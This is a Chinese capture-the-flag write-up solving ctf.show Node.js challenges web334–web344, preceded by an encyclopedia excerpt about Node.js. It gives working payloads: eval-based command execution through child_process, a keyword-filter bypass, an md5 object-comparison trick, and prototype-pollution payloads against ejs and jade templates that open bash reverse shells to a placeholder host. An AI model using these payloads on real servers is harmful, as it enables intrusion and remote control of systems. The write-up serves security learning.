题目地址:https://ctf.show/challenges

image-20210613205819857.png

依旧是先百度一下这玩意是啥,以下内容来自百度百科
node.js

Node.js发布于2009年5月,由Ryan Dahl开发,是一个基于Chrome V8引擎的JavaScript运行环境,使用了一个事件驱动、非阻塞式I/O模型,让JavaScript 运行在服务端的开发平台,它让JavaScript成为与PHP、Python、Perl、Ruby等服务端语言平起平坐的脚本语言。
Node.js对一些特殊用例进行优化,提供替代的API,使得V8在非浏览器环境下运行得更好,V8引擎执行Javascript的速度非常快,性能非常好,基于Chrome JavaScript运行时建立的平台, 用于方便地搭建响应速度快、易于扩展的网络应用。

主要功能:

V8引擎本身使用了一些最新的编译技术。这使得用Javascript这类脚本语言编写出来的代码运行速度获得了极大提升,又节省了开发成本。对性能的苛求是Node的一个关键因素。 Javascript是一个事件驱动语言,Node利用了这个优点,编写出可扩展性高的服务器。Node采用了一个称为“事件循环(event loop)”的架构,使得编写可扩展性高的服务器变得既容易又安全。提高服务器性能的技巧有多种多样。Node选择了一种既能提高性能,又能减低开发复杂度的架构。这是一个非常重要的特性。并发编程通常很复杂且布满地雷。Node绕过了这些,但仍提供很好的性能。
Node采用一系列“非阻塞”库来支持事件循环的方式。本质上就是为文件系统、数据库之类的资源提供接口。向文件系统发送一个请求时,无需等待硬盘(寻址并检索文件),硬盘准备好的时候非阻塞接口会通知Node。该模型以可扩展的方式简化了对慢资源的访问, 直观,易懂。尤其是对于熟悉onmouseover、onclick等DOM事件的用户,更有一种似曾相识的感觉。

运行环境:

Node作为一个新兴的前端框架,后台语言,有很多吸引人的地方:RESTful API,单线程

Node可以在不新增额外线程的情况下,依然可以对任务进行并发处理 —— Node.js是单线程的。它通过事件循环(event loop)来实现并发操作,对此,我们应该要充分利用这一点 —— 尽可能的避免阻塞操作,取而代之,多使用非阻塞操作。
非阻塞IO

 V8虚拟机
 事件驱动
 功能模块:
 Node使用Module模块去划分不同的功能,以简化应用的开发。Modules模块有点像C++语言中的类库。每一个Node的类库都包含了十分丰富的各类函数,比如http模块就包含了和http功能相关的很多函数,可以帮助开发者很容易地对比如http,tcp/udp等进行操作,还可以很容易的创建http和tcp/udp的服务器。

要在程序中使用模块是十分方便的,只需要如下:

 在这里,引入了http类库,并且对http类库的引用存放在http变量中了。这个时候,Node会在我们应用中搜索是否存在node_modules的目录,并且搜索这个目录中是否存在http的模块。如果Node.js找不到这个目录,则会到全局模块缓存中去寻找,用户可以通过相对或者绝对路径,指定模块的位置,比如:

var myModule = require('./myModule.js');
模块中包含了很多功能代码片断,在模块中的代码大部分都是私有的,意思是在模块中定义的函数方法和变量,都只能在同一个模块中被调用。当然,可以将某些方法和变量暴露到模块外,这个时候可以使用exports对象去实现。
下载安装:

 Linux下安装Node

下面介绍下Node的安装,首先在nodejs的网站上根据操作系统下载相关的安装包,对于Ubuntu(linux)下的安装,可以如下进行:

   sudo apt-get update
   sudo apt-get install node

或者:

   sudo apt update
   sudo apt install node

Windows下安装Node
官网现已提供安装包(最新的长期支持版本: 10.16.0)、编译器和相应的API 文档(English)。
现在大部分题都是占着坑在这,很多题都做不出来...
以后会慢慢补上的

web334

登录就有flag,下载附件解压,在user.js中发现账户和密码

module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

但是实际上username是小写,不知道这js文件怎么是大写,登录就回显flag了

web335

一道Node.JS的RCE
查看源码,发现提示: /?eval=
直接上payload,有些东西是直接被浏览器转码了

/?eval=require("child_process").execSync(%27ls%27)

这里实际上就是执行ls命令

/?eval=require("child_process").execSync('ls')

回显:

where is flag? app.js bin fl00g.txt modules node_modules package-lock.json package.json public routes sessions views 

可以看到有一个fl00g.txt

/?eval=require("child_process").execSync('cat fl00g.txt')

那么直接执行cat fl00g.txt试试,没问题,flag出来了

web336

继续上一题的payload,发现并不能用了
尝试一下读取下文件,看看过滤了啥,?eval=_filename
再上payload:

/?eval=require("child_process")['exe'%2B'cSync']('ls')

web337

hint:

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
      res.end(flag);
  }else{
      res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

运行如下代码:

a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

两个都会打印出[object Object]flag{xxx},所以他们的md5也是一样的了。
为什么传a[0]=1&b[0]=2不行呢,因为当我们这样传的时候相当于创了个变量a=[1] b=[2]

a=[1]
b=[2]
a=[1]
b=[2]

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

打印出来的结果是1flag{xxx}和2flag{xxx}

payload:a[x]=1&b[x]=2

web338

原型链污染漏洞,参考链接https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript
只要满足secert.ctfshow==='36dboy’就可以了,前面有一个copy函数,可以与链接文章里面的merge函数类比.
登录的时候抓包,修改post的内容

payload:`{"__proto__":{"ctfshow":"36dboy"}}`

eg:

POST /login HTTP/1.1
Host: 7a41ab00-e5c2-484c-815d-7806b272e968.chall.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 66
Origin: http://7a41ab00-e5c2-484c-815d-7806b272e968.chall.ctf.show:8080
Connection: close
Referer: http://7a41ab00-e5c2-484c-815d-7806b272e968.chall.ctf.show:8080/
Cookie: UM_distinctid=177b92aaa18d3-0b2755ebda89a58-4c3f217f-fa000-177b92aaa19337
Pragma: no-cache
Cache-Control: no-cache

{"username":"aa","password":"bb","__proto__":{"ctfshow":"36dboy"}}

回显:

HTTP/1.1 200 OK
Content-Length: 45
Content-Type: text/html; charset=utf-8
Date: Sat, 20 Feb 2021 09:59:19 GMT
X-Powered-By: Express
Connection: close

ctfshow{4087bc4c-8d6e-4573-9b20-814375cbf712}

web339

非预期解:
ejs rce具体的来看下大佬写的文章https://xz.aliyun.com/t/7184
payload:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/22222 0>&1\"');var __tmp2"}}

接着post访问api.js就可以反弹shell了
预期:
变量覆盖:

function copy(object1, object2){
   for (let key in object2) {
       if (key in object2 && key in object1) {
           copy(object1[key], object2[key])
       } else {
           object1[key] = object2[key]
       }
   }
 }
var user ={}
body=JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user,body);
console.log(query);

运行上面的方法会发现query有了新的值

POST /login HTTP/1.1
Host: 26988b82-90ad-47da-bfa6-43697f71edcb.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 171
Origin: http://26988b82-90ad-47da-bfa6-43697f71edcb.challenge.ctf.show:8080
Connection: close
Referer: http://26988b82-90ad-47da-bfa6-43697f71edcb.challenge.ctf.show:8080/
Cookie: UM_distinctid=17a044a3e0e161-09f115c9570c0e-4c3f2d73-190e59-17a044a3e0f58d
Pragma: no-cache
Cache-Control: no-cache

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxxxx/22222 0>&1\"');var __tmp2"}}

弹shell

npm_config_globalignorefile=/etc/npmignore
npm_config_init_license=ISC
npm_package_version=0.0.0
npm_config_cache_lock_stale=60000
npm_config_versions=
npm_config_proxy=
npm_config_fetch_retry_maxtimeout=60000
npm_config_fetch_retries=2
npm_config_git=git
npm_config_read_only=
npm_config_group=
npm_package_dependencies_express=~4.16.1
npm_config_unicode=
npm_config_sso_type=oauth
npm_config_cache_lock_retries=10
npm_config_local_address=
npm_config_description=true
INIT_CWD=/app
FLAG=ctfshow{cb9fd747-7f20-46b0-a2ec-631775ce7ddf}
npm_config_dry_run=
npm_config_viewer=man
npm_package_dependencies_ejs=^3.1.5
npm_config_offline=
npm_config_message=%s
npm_config_production=
npm_config_prefer_online=
npm_config_link=
npm_lifecycle_script=node ./bin/www

web340

和上面的题基本类似,但是需要向上污染两级

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }
var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
body=JSON.parse('{"__proto__":{"__proto__":{"query":"123"}}}');
copy(user.userinfo,body);
console.log(user.userinfo);
console.log(user.query);

运行后会发现user.query输出的是123,说明我们成功污染了两级。
payload:

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/22222 0>&1\"')"}}}

web341

预期解ejs rce
payload:

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/22222 0>&1\"');var __tmp2"}}}

然后再随便访问一下页面就能触发rce

web342-343

jade原型链污染
参考链接https://xz.aliyun.com/t/7025
和链接稍微不同,有兴趣的可以动调研究下
这里要往/login页面发一个json格式的POST请求,最后再随便浏览页面即可触发。
这里一定要发json格式的(审计一下就可以得到)

bodyParser.json(options)
中间件只会解析 json 

payload(反弹shell)
eg:

http://cafb1944-892f-4d2c-bd83-d7fda183f7ce.challenge.ctf.show:8080/login
application/json

POST: {"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxxxx/22222 0>&1\"')"}}}

在login页面打上去之后随便访问下,就会反弹

web344

router.get('/', function(req, res, next) {
 res.type('html');
 var flag = 'flag_here';
 if(req.url.match(/8c|2c|\,/ig)){
     res.end('where is flag :)');
 }
 var query = JSON.parse(req.query.query);
 if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
     res.end(flag);
 }else{
     res.end('where is flag. :)');
 }

});

根据源码我们正常情况下需要传?query={"name":"admin","password":"ctfshow","isVIP":true}但是题目把逗号和他的url编码给过滤掉了,所以需要绕过。
payload:?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
nodejs中会把这三部分拼接起来,为什么把ctfshow中的c编码呢,因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式。

标签: none

暂无评论